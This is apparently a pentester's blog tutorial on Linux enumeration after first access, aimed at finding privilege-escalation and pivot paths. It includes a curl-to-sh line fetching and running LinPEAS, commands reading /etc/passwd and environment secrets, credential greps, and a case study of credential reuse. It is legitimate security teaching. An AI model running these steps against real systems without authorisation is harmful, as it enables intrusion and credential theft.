Initial enumeration is where every Linux engagement starts. Before you can escalate, pivot, or exfiltrate, you need to know what you’re sitting on. This guide walks through how I approach a Linux box after first access: the commands I run, the order I run them in, and what I’m looking for.
The enumeration mindset: The foundation of exploitation#
Enumeration isn’t running a checklist of commands and dumping output to a file. It’s building a mental map of the environment. You’re looking for the “how” and the “why.” How is this system managed? Why is this specific service running? Who uses this box? Where’s the path up?
When you first land on a box (web shell, low-priv SSH, exploit, whatever), your
heart rate picks up. Stay calm. Your goal is to stay quiet long enough to gather
the intel you need before you make noise. Every command leaves a trace. Most
sysadmins aren’t watching www-data in real time, but a halfway-decent EDR or a
vigilant blue team will catch sloppy enumeration.
The approach#
I follow a structured approach to this phase:
- System Profiling: What is the environment?
- User Profiling: Who is here and what can they do?
- Network Profiling: Where can I reach from here?
- Software Profiling: What is running and is it vulnerable?
- Permission Profiling: Where did the sysadmin get lazy?
Skip a pass and you’ll miss something. Don’t skip.
Phase 1: System information - Knowing the terrain#
First, figure out what you’re sitting on: OS version, kernel, architecture. The kernel matters most — that’s what tells you whether there’s a public exploit you can use.
Operating system and kernel#
Finding the exact kernel version is your top priority if you are looking for a privilege escalation exploit.
# Get the kernel version and architecture
# This is often the first command I run.
uname -a
# View the operating system distribution and version
# Different distributions store their version info in different places.
cat /etc/os-release
cat /etc/issue
cat /etc/*-release
# Alternative for OS information (often gives cleaner output)
lsb_release -a 2>/dev/nullWhen looking at kernel versions, pay attention to the release date. Older kernels are often vulnerable to well-known exploits:
- Dirty COW (CVE-2016-5195) - Kernels before late 2016
- PwnKit (CVE-2021-4034) - Polkit vulnerability, nearly universal before 2022
- Dirty Pipe (CVE-2022-0847) - Kernels 5.8 through early 5.16
- nf_tables double-free (CVE-2024-1086) - Kernels 5.14 to 6.6, 99% success rate
If the kernel is from before 2024, there’s a good chance it’s vulnerable to something major.
Architecture and CPU information#
Knowing the architecture (x86, x64, ARM) is essential for compiling or transferring binaries. You don’t want to transfer a 64-bit exploit to a 32-bit system.
# Get CPU details - helpful for understanding the processing power
lscpu
# View processor info from the proc filesystem
cat /proc/cpuinfo | grep "model name" | uniqPhase 2: User and group information - Who’s the boss?#
Understanding who uses the system and their privilege levels can reveal potential paths for lateral movement or privilege escalation.
Current user context#
Who are you? What groups do you belong to? The id command is your best friend
here.
# Print current user and group IDs
id
# Check for specific interesting groups
# Groups like 'docker', 'lxd', 'sudo', 'wheel', and 'adm' are high-value.If you see you are in the docker group, you essentially have root. You can
start a container, mount the host’s root filesystem, and you’re done.
User discovery#
# See who is currently logged in
who -a
# See what users are doing (and their source IP)
w
# Show last logged in users - useful for identifying active admins
last -F | head -n 20The /etc/passwd file#
The /etc/passwd file is a goldmine. It lists all users on the system. Even if
you can’t read /etc/shadow, the passwd file tells you which users have shells.
# List all users
cat /etc/passwd
# Extract only human users (UID >= 1000)
# This assumes a standard Linux installation.
grep -E '^[^:]+:[^:]+:[1-9][0-9]{3,}' /etc/passwd
# Look for users with shell access
grep -v "nologin" /etc/passwd | grep -v "false"Phase 3: Network information - Mapping the pivot#
Networking details help you understand the system’s role in the larger environment and identify potential pivot points.
Interfaces and IP addresses#
# List network interfaces and IP addresses
# 'ip addr' is the modern way; 'ifconfig' is legacy.
ip addr || ifconfig
# View the routing table - very important for identifying internal networks
ip routeActive connections and listening ports#
This tells you what services are running and who the system is communicating with.
# List listening ports with process names
# -n: numeric addresses, -t: tcp, -l: listening, -p: program name
ss -ntlp || netstat -ntlp
# View established connections
# This can show you where the admins are connecting from.
ss -atpDNS and Hosts#
# View DNS configuration - identifies internal DNS servers
cat /etc/resolv.conf
# View the local hosts file
# Often contains internal hostnames and IP addresses not in public DNS.
cat /etc/hostsARP Cache#
Understanding what other machines this machine has talked to.
ip neigh
arp -ePhase 4: Services and processes - Finding the weak links#
Investigating running services can reveal misconfigured applications or vulnerable software.
Process identification#
# List all running processes
ps aux
# Look for processes running as root or other high-privilege users
ps aux | grep root
ps aux | grep "^[a-zA-Z]" | grep -v "root" # Processes not running as rootService management#
# List all services and their status (Systemd)
systemctl list-units --type=service
# List services using the older SysV init style
ls /etc/init.d/Scheduled tasks (cron jobs)#
Cron jobs often run with high privileges. If you can modify a script executed by a root cron job, you can get root access.
# View current user's crontab
crontab -l
# View system-wide crontabs
ls -la /etc/cron*
cat /etc/crontabWhen looking at /etc/crontab, check the PATH variable. If it includes a
world-writable directory, you can perform a PATH hijacking attack.
Phase 5: File system and permissions - The SUID treasure hunt#
Most local privilege escalation paths come through here. We’re looking for files with sloppy permissions.
SUID and SGID Binaries#
Binaries with the SUID (Set User ID) bit set run with the privileges of the file’s owner (often root).
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Find SGID binaries
find / -perm -2000 2>/dev/nullOnce you find a SUID binary, check GTFOBins to see if it can be exploited for privilege escalation.
World-writable files and directories#
These can be used for persistence or to influence processes running as other users.
# Find world-writable files
find / -perm -2 -type f 2>/dev/null
# Find world-writable directories
find / -perm -2 -type d 2>/dev/nullCapabilities#
Linux capabilities provide more granular control than traditional SUID bits.
# List files with capabilities
getcap -r / 2>/dev/nullPhase 6: Software and packages - Vulnerability hunting#
Often, the path to root involves exploiting an outdated or misconfigured package.
# Debian/Ubuntu (DEB-based)
dpkg -l
# RedHat/CentOS (RPM-based)
rpm -qa
# Look for specific versions of high-value packages
dpkg -l | grep "sudo"
dpkg -l | grep "ssh"Check the versions against Exploit-DB
or using
searchsploit.
Phase 7: Environment variables and secrets#
Developers often store API keys, database credentials, or even passwords in environment variables or configuration files.
Environment variables#
# View current environment variables
env
export
cat /proc/self/environ | tr '\0' '\n'Searching for secrets#
# Search for 'password', 'key', or 'token' in the /var/www directory
grep -rni "password" /var/www 2>/dev/null
grep -rni "key" /etc/*.conf 2>/dev/nullPhase 8: Automation tools - Standing on the shoulders of giants#
Manual enumeration is the only way to actually understand a system. But automation tools save time and catch things you’d miss in a rush.
- LinPEAS: The undisputed king of Linux privilege escalation tools. Actively maintained with regular updates for new CVEs and techniques.
- LinEnum: A modular Bash script that covers most of the basics. Note: This project is no longer actively maintained, but the core checks remain useful.
- Linux Exploit Suggester: Specifically focuses on kernel exploits.
Using LinPEAS effectively#
LinPEAS is noisy. If you have internet access, you can run it directly:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shHowever, you’ll usually want to transfer it. If you have a Meterpreter session, use
upload. If you have SSH, use scp.
Case study: A real-world enumeration win#
During an engagement, I landed on a web server as www-data. Manual enumeration
didn’t reveal much: no easy SUIDs, kernel was patched.
I checked env and found DATABASE_URL=postgres://dbuser:s3cr3tP@ss@10.10.20.5:5432/myapp.
I then checked ip addr and realized I had an interface on the 10.10.20.0/24
network. I used the credentials to connect to the database, found the admin user
table, and extracted an admin hash which I cracked. That admin used the same
password for their SSH login on the web server. From there, I found they were in
the sudo group. Game over.
The lesson: enumeration is about data, not just root access.
Conclusion#
Enumeration takes patience. Every system is different, and these commands are
starting points, not a checklist you can run blindly. The boxes that gave me the
most trouble were the ones where I rushed phase 1 and missed something obvious
in ip route or env.
The more you know about a target, the more ways you’ll find to break it.
Until next time, this is UncleSp1d3r, signing off.